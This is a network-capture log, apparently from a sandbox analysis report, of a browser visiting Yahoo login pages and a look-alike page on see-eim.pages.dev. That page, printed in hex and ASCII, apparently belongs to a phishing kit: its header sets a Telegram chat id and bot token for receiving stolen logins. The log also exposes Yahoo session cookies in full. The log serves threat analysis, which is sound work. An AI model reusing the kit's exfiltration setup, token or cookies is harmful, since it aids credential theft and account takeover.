‪(+220)‬</option> <option role="option" data-code="+995" value="GE" >Georgia ‪(+995)‬</option> <option role="option" data-code="+49" value="DE" >Germany
2024-01-10 23:26:44 UTC	2339	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 73 73 2f 72 61 70 69 64 2d 33 2e 35 33 2e 33 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 33 39 30 48 47 44 32 70 69 6e 4a 52 54 36 63 4b 74 70 4c 36 65 35 59 2f 41 48 48 7a 69 2f 69 4c 6c 36 4d 6b 78 64 75 74 64 50 52 69 42 52 52 22 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 72 61 70 69 64 49 6e 73 74 61 6e 63 65 20 3d 20 6e 65 77 20 59 41 48 4f 4f 2e 69 31 33 6e 2e 52 61 70 69 64 28 49 31 33 4e 5f 63 6f 6e 66 69 67 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 77 6d 2f 6d 62 72 2f 36 65 62 61 61 30 36 39 34 65 33 66 33 Data Ascii: ="https://s.yimg.com/ss/rapid-3.53.39.js"></script> <script nonce="s390HGD2pinJRT6cKtpL6e5Y/AHHzi/iLl6MkxdutdPRiBRR"> var rapidInstance = new YAHOO.i13n.Rapid(I13N_config); </script> <script src="https://s.yimg.com/wm/mbr/6ebaa0694e3f3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49780	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:45 UTC	1077	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=794200015&yhlCT=2&yhlBTMS=1704929204265&yhlClientVer=3.53.39&yhlRnd=LrLTzZB1BtBQrseB&yhlCompressed=0 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 1629 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://login.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:26:45 UTC	1629	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 4c 77 6e 6e 32 55 43 45 4c 34 6c 45 33 45 4a 43 34 5f 58 73 44 59 46 34 69 74 6e 52 56 38 46 45 67 45 42 41 51 46 35 6f 47 57 70 5a 64 77 77 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 6d 4a 49 39 42 4d 39 44 73 33 48 35 50 45 55 55 79 55 62 36 45 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 33 2e 33 39 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 56 45 52 53 49 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.53.39%22%2C%22A_cn%22%3A%22VERSI
2024-01-10 23:26:45 UTC	593	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://login.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Wed, 10 Jan 2024 23:26:44 GMT server: ATS Age: 1 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49781	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:53 UTC	707	OUT	GET /login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "a8939e5a085463ed0b92e943f45878d6"
2024-01-10 23:26:54 UTC	580	IN	HTTP/1.1 304 Not Modified Date: Wed, 10 Jan 2024 23:26:54 GMT Connection: close Access-Control-Allow-Origin: * referrer-policy: strict-origin-when-cross-origin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zSodkGDiwDHZC3VTZmTHd4Q40PpS6QRojl8DwVjhfZGpY08I1ANztYzkyFUa%2FBtLgZoPLKIsbdcTyHWmwvorDTiDdW4QVH0YAp%2FLofaW2MwxRcMo4L%2FBnPR4LOSwyzXkBsTx%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438b004aca48203-IAD alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49783	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:54 UTC	1803	OUT	POST /p?s=794200015&t=8uFeEFF6y9WU3eyQ,0.8147777643942999&_I=&_AO=0&_NOL=0&_R=&_P=3.53.39%05_a1s%03d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%04_pl%031%04A_v%033.53.39%04A_cn%03VERSIONED-PROD%04_bt%03rapid%04done%03https%3A%2F%2Fmail.yahoo.com%2F%04authMechanism%03secondary%04sessionIndex%03Qg--%04A_pr%03https%04A_tzoff%031%04A_sid%03H2RYQBg7gG3Yajfx%04_w%03login.yahoo.com%2Faccount%2Fchallenge%2Fusername%04pt%03utility%04ver%03nodejs%04pg_name%03usernameChallenge%04gm_np%03yahoo%04p_sec%03DEFAULT_SECTION%04p_subsec%03DEFAULT_SUBSECTION%04test%03mbr-apt-trap-design-v2%2Cmbr-smart2sv-ph2-b%2C%04pct%03signin%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031704929204%04A_prems%03262%04_E%03dwell%04_ts%031704929213%04_ms%03287%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://login.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:26:54 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:26:54 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:26:54 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49782	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:54 UTC	695	OUT	GET /login_files/login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://see-eim.pages.dev/login_files/loga Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=13690-13690 If-Range: "a8939e5a085463ed0b92e943f45878d6"
2024-01-10 23:26:55 UTC	706	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:26:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 87601 Connection: close Access-Control-Allow-Origin: * ETag: "a8939e5a085463ed0b92e943f45878d6" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fjkN7CTLzCAHy%2BTjWKPys1UJgMg8ybb3tLJ9rf2Oyj3kUFdRrjTn%2BQ17kwkcGVfs%2FQlLMjM51Oqv2vggVmNaTXSx8ctmKg9jGqDnS97oDyHdMSVbTir70izZ2M0JQtCoVerzsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438b00968e92090-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:26:55 UTC	663	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 2f 2f 50 55 54 20 59 4f 55 52 20 54 45 4c 45 47 52 41 4d 20 49 4e 46 4f 52 4d 41 54 49 4f 4e 20 48 45 52 45 0d 0a 20 20 20 20 75 73 65 72 74 65 6c 65 67 72 61 6d 3d 22 35 36 30 37 33 38 35 34 39 36 22 3b 20 2f 2f 59 6f 75 20 43 61 6e 20 47 65 74 20 79 6f 75 72 20 69 64 20 46 52 4f 4d 20 48 45 52 45 20 3a 20 40 63 68 61 74 69 64 5f 65 63 68 6f 5f 62 6f 74 0d 0a 20 20 20 20 74 6f 6b 65 6e 3d 22 36 30 35 35 36 38 39 35 31 35 3a 41 41 48 72 51 66 54 4f 45 6b 37 65 61 43 59 37 31 57 79 72 79 63 31 7a 63 56 68 6f 79 34 39 55 62 57 30 22 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 68 74 6d Data Ascii: <!DOCTYPE html><script type="text/javascript"> //PUT YOUR TELEGRAM INFORMATION HERE usertelegram="5607385496"; //You Can Get your id FROM HERE : @chatid_echo_bot token="6055689515:AAHrQfTOEk7eaCY71Wyryc1zcVhoy49UbW0"; </script><htm
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2a 21 20 73 6b 65 6c 65 74 6f 72 2d 69 6f 20 2d 20 76 31 2e 30 2e 33 34 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 32 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 69 6d 67 2c 0d 0a 20 20 20 20 20 20 20 20 6c 65 67 65 6e 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 31 2c 0d 0a 20 20 20 20 20 20 20 20 68 32 2c 0d 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 Data Ascii: s"> /! skeletor-io - v1.0.34 / /! normalize.css v3.0.2 \| MIT License \| git.io/normalize / img, legend { border: 0 } h1, h2, h3 { letter-spacing
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 3a 61 63 74 69 76 65 2c 0d 0a 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 62 62 72 5b 74 69 74 6c 65 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 64 6f 74 74 65 64 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 2c 0d 0a 20 20 20 20 20 20 20 20 6f 70 74 67 72 6f 75 70 2c 0d 0a 20 20 20 20 20 20 20 20 73 74 72 6f 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 Data Ascii: background-color: transparent } a:active, a:hover { outline: 0 } abbr[title] { border-bottom: 1px dotted } b, optgroup, strong { font-w
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 20 7b Data Ascii: } button { overflow: visible } button, select { text-transform: none } button, html input[type=button], input[type=reset], input[type=submit] {
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 39 36 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 6f 6c 2c 0d 0a 20 20 20 20 20 20 20 20 70 2c 0d 0a 20 20 20 20 20 20 20 20 75 6c 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 Data Ascii: max-width: 960px; margin: 0 auto; padding: 0 20px; box-sizing: border-box } ol, p, ul { margin-top: 0 } .column, .columns {
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 32 35 2e 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 35 30 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 38 30 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: nt-size: 25.5px; font-size: 1.5rem; letter-spacing: 0 } @media (min-width: 550px) { .container { width: 80% } .column, .columns {
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 6e 65 2d 74 68 69 72 64 2e 63 6f 6c 75 6d 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 2d 74 68 69 72 64 73 2e 63 6f 6c 75 6d 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 36 35 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 6e 65 2d 68 61 6c 66 2e 63 6f 6c Data Ascii: 100%; margin-left: 0 } .one-third.column { width: 30.6666666667% } .two-thirds.column { width: 65.3333333333% } .one-half.col
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6e 69 6e 65 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6e 69 6e 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 37 38 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 74 65 6e 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 74 65 6e 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 36 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: .offset-by-nine.column, .offset-by-nine.columns { margin-left: 78% } .offset-by-ten.column, .offset-by-ten.columns { margin-left: 86.6666666667%
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 35 35 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 Data Ascii: display: inline-block; height: 38px; padding: 0 30px; color: #555; text-align: center; font-size: 11px; font-weight: 600; line-height: 38px; le
2024-01-10 23:26:55 UTC	1369	IN	Data Raw: 46 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 33 33 43 33 46 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 0d 0a Data Ascii: F0; border-color: #33C3F0 } .button.button-primary:focus, .button.button-primary:hover, button.button-primary:focus, button.button-primary:hover, input[type=button].button-primary:focus,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49784	67.195.204.151	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:57 UTC	2686	OUT	GET /forgot?done=https%3A%2F%2Fmail.yahoo.com%2F HTTP/1.1 Host: login.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEK